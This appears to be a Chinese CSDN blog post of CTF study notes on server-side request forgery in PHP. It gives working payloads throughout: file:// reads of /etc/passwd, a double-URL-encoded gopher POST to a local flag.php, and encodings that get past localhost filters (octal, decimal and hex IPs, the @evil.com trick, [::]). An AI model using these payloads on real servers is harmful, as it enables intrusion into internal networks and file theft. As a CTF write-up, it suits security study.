(1) 相关的函数和类
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_init():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和
curl-exec():执行给定的cURL会话。
curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF
SoapClient原生类在开发以及安全中利用
(2) 相关协议
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
file///etc/passwd (敏感文件)
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
dict://serverip:port//命令:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF)
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
http/s协议:探测内网主机存活
gopher协议使用:
gopher://IP:port/_TCP/IP数据流(gopher://IP:port/_ ***) 注意那个_
用gopher协议发送get请求:
请求要构造http数据包
url编码,因为CRLF原因,要把%0a换成%0d0a,替换回车换行为%0d%0a、http包最后加%0d%0a代表消息结束--回车换行
gopher协议发送post请求:
与get传参区别为:post有四个必要参数
Content-Type,Content-Length,host,post的参数
注:其中Content-Length 要与post的长度相同
限制请求特定域名;
禁止请求内网IP。
然而这两种过滤都很容易被绕过,可用的方法具体如下:
1)使用http://[email protected] (可针对限制了网址的题)
简单说的话,@表示如果这个被执行,,就扔掉前面了,相当于访问evil.com
2)IP地址转化为进制(八进制,十进制,十六进制)及 IP 地址省略写法,举例说明如下:
0177.0.0.1 (八进制)
2130706433 (十进制)
0x7f.0x0.0x0.0x1 (十六进制)
127.1 (IP地址省略写法)
3)特殊模式绕过
http://127.1/flag.php
http://0/flag.php
http://127.00000000.00.1/flag.php
4)0.0.0.0 &127.127.127.127绕过
http://127.27.127.127/flag.php
http://0.0.0.0/flag.php
5)配置域名。如果我们手中有可控域名,则可以将域名A记录指向欲请求的 IP 进行绕过操作:
evil.example.com => 10.0.18.3
6) 利用[::] .
http://[::]:80/ =>http://127.0.0.1
不加端口的话是http://[::]/
(4) 利用方式
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
如果攻击者指定了 file协议,则可以通过 file协议来读取服务器上的文件内容,如:
http://example.com/ssrf.php?url=file///etc/passwd
2. 伪协议读取文件(file://)
题目考察我们对file协议读取文件理解
?url=file:///var/www/html/flag.php
一般情况下会在 /var/www/html/的目录下
直接file://读取flag,回显??? 查看源代码,得到flag
要得到flag,post传入key读取时需要IP为127.0.0.1 。因此gopher协议,伪装host,再post传参 key=59d458d96d2508773e9f824b5beb8dd0
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=59d458d96d2508773e9f824b5beb8dd0
需要对该数据进行二次url编码,第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?这是因为CRLF即回车换行相当于是tcp数据流中的一个断点,所以一次编码忽略了的LF我们要在编码后加上再进行一次编码。
一次编码(%0A已被%0D%0A替换):
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D59d458d96d2508773e9f824b5beb8dd0
二次编码(对第一次替换后的编码再编一次):
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D59d458d96d2508773e9f824b5beb8dd0
gopher格式: gopher://IP:port/_数据流
打入gopher中,得到flag。
过滤了localhost和127.0.0.1 可以对ip地址进行转换从而绕过。
十进制:url = http://2130706433/flag.php
十六进制: url = http://0x7f.0.0.1/flag.php
也可以缺省绕过。url = http://127.1/flag.php
————————————————
版权声明:本文为CSDN博主「葫芦娃42」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_63231007/article/details/124413611